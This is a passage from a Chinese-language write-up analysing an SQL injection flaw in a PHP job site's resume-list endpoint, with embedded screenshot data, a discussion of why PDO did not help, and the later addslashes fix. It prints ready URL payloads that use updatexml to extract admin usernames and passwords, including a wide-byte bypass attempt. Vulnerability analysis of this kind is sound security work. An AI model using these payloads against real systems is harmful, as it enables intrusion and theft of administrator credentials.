DoLHp+ITrA/4gGu348xJCCCGEEEIIIYQQ4kxFM5EWawYqtZrODhlNPhPfqr6W1sF+KlIyaR90UOtoA2B3bzPrMor5+YaPkqwxoFIoeaPz6Ji26zMW8IM1N1GUEEmU7+xpHLO+xt7MlTmL+P0Fn6BnyEWfd5Av7nyST5ddwNK0XOJHajmXJVv43/W30eN1c9/OpzjU30lRYjr/veoGGlzdrDEX4Q8H2G0fXzt6pl5o3c8NhSv4aMk6lpvzWJVWiMs/zPMt+2NqH0tsB+xtrEsv5kuLttJR7GA46ONft/+BLdmVXJe/HID4OA3hMPzv+tsA+Orup9nf18Ymayn/UnERF1rLWJ6Wx3DQzzMte8/4vKfj7ujG2dpJ8WUbCPj8JOVYWXj95Rz843O0vLETY5aFZR+/gQO/fxZ7XSPWJeWEQyH8g0MAdOw+yMLrL6fsqkvoeH8fBRevwdXWhau9C02CYZqjQ/eBo2RWV+FoaiPoD7Dko9fSe7iBvb96IrqNo6mNwi3rKLh4LYO2PsKE6DlQh9FqxpAWeeChVKswpCWTXlVG0DuMva5p2tgB3LYeQn4/OWuWohkZOd5dezQ64ryh4Thr167m6qs/yNNPPzvhOVQvX0pfXz8NxyZOlOsNOlyus//QQwghhBBCCCGEEEL841FDZKK9zKws2traCAZim4hSwGDAS9tgP+syiugZdvK7+u3Rdb+tf5c4pYqlphy8wSCvdhzmieO7gNER0+91H2eZKReDWss73fW82H5gzP4fq99BstZAtSmfAmManZ5IKY2ipHRWmgui26Vqjaw0G6Mj1r9X+xJmvZHlaXnkxKdwzNXNU427cHg9Z3zO+/pa+V39di7KrGCjpZT6ARtLine truncated
|
||||
经过一系列闭合操作,就可以构造出上述的 Payload 了。</p>
|
||||
<pre blockindex=38><code class="hljs language-rb">/index.php/v1_0/home/jobfairol/resumelist?jobfair_id=<span class=hljs-number>1</span>&amp;keyword=<span class=hljs-string>' (select/**/updatexml(0,concat(0xa,(select/**/concat(username,password)from/**/qs_admin)),0))))%23
|
||||
</span></code></pre>
|
||||
<h4 blockindex=39>深入思考</h4>
|
||||
<p blockindex=40>这里有个疑问,使用了PDO还会有注入?<br>
|
||||
跟进 SQL 执行的过程,发现 $sql 参数在预处理前已完成拼接,没有进行绑定的操作,后续直接 exec 了,估计是这个原因(如果不是的话,希望大佬点拨下)<br>
|
||||
<img src=data:image/png;base64,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 truncated
|
||||
<h4 blockindex=41>后续的修复代码</h4>
|
||||
<p blockindex=42>查看最新的源码(版本3.28.0),过滤使用了 addslashes 操作。<br>
|
||||
<img src="data:image/png;base64,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 truncated
|
||||
<h4 blockindex=43>深入思考*2</h4>
|
||||
<p blockindex=44>绕过 addslashes,一般配合代码中其他的操作,比如代码后还有urldecode、base64_decode等。或者是在GBK编码下使用宽字节注入。</p>
|
||||
<p blockindex=45>修改数据库编码后,跟进代码发现,在使用htmlspecialchars函数进行过滤操作时,我传入的值直接没了,挺神奇的,暂时找不到原因,不然在GBK环境下可以实现宽字节注入。</p>
|
||||
<pre blockindex=46><code class="hljs language-rb">/index.php/v1_0/home/jobfairol/resumelist?jobfair_id=<span class=hljs-number>1</span>&amp;keyword=<span class=hljs-string>'%df'</span>%2b(select/**<span class=hljs-regexp>/updatexml(0,concat(0xa,(select/</span>**<span class=hljs-regexp>/concat(username,password)from/</span>**<span class=hljs-regexp>/qs_admin)),0))))%23
|
||||
</span></code></pre>
|
||||
<p blockindex=47><img src=data:image/png;base64,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